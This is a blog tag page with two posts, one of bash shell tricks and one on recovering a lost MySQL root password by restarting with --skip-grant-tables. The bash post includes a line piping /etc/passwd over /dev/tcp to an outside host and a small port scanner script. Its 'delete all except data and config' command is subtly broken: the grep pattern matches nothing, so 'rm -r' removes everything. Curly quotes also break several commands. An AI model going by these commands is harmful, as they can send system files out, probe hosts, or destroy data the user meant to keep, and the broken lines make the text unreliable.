Posts Tagged ‘Linux’

Advance Bash Scriptiong Tricks

No Comments »

Here are some of my Linux bash shell findings, I hope it is good for everyone

Find some text in current folder, sub-folders and files:-

find . | xargs grep 'string_to_find'

Getting current time from some time server:-

cat < /dev/tcp/time.nist.gov/13

Convert Unix Timestamp (aka Epoch):-

date -d @1292946804
Tue Dec 21 20:53:24 2010

Downloading a URL:-

exec 5<>/dev/tcp/www.net.cn/80
echo -e "GET / HTTP/1.0\n" >&5
cat <&5

Sending Data over network:-

cat /etc/passwd > /dev/tcp/example.com/10000

TCP Port Checker:-

(echo >/dev/tcp/127.0.0.1/23) 2>/dev/null \
&& echo open || echo close

And

cat < /dev/tcp/localhost/25

Smallest Port Scanner:-

#!/bin/sh
# Usage:>$PortScanner.sh hostname_or_ip startport endport
for ((i=$2; $i <=$3; i++)); do
echo >/dev/tcp/$1/$i && echo $i/tcp Port Open;
done 2>/dev/null

Making File Backup when working on it

cp portscanner.sh{,.bak}

“!$” Reusing Last command arguments

mkdir /path/to/exampledir
cd !$

Taking Folder Backup with rsync (local)

rsync -Aax myfolder/ myfolder-dirbkp_`date +”%Y%m%d”`/

Deleting all files/Folder except some (in this example data and config folder will not delete)

ls | grep -v ‘(data)|(config)’ | xargs rm -r

Will add more tricks laters…..


Recovering a lost Mysql root password

No Comments »

Lost MySQL root password Recovery

/etc/init.d/mysql stop
mysqld_safe --skip-grant-tables &

This stops MySQL and reloads it without the authentication (grant) tables, so we can connect to MySQL without a password. Beware this locks out all of your applications until the password reset process is completed. Now we need to go in an reset the password

su -
mysql -u root -p

It will prompt you for a password, just hit enter. You should now be inside the MySQL terminal and ready to change the root password:

update user set password=PASSWORD(”NEW-PASSWORD”) where User=’root’;

Of course, replace NEW-PASSWORD with your chosen root password. Now all that remains is to restart MySQL in the normal manner in order for it to pick up the authentication tables correctly and let your customers and applications back in

# /etc/init.d/mysql stop
# /etc/init.d/mysql start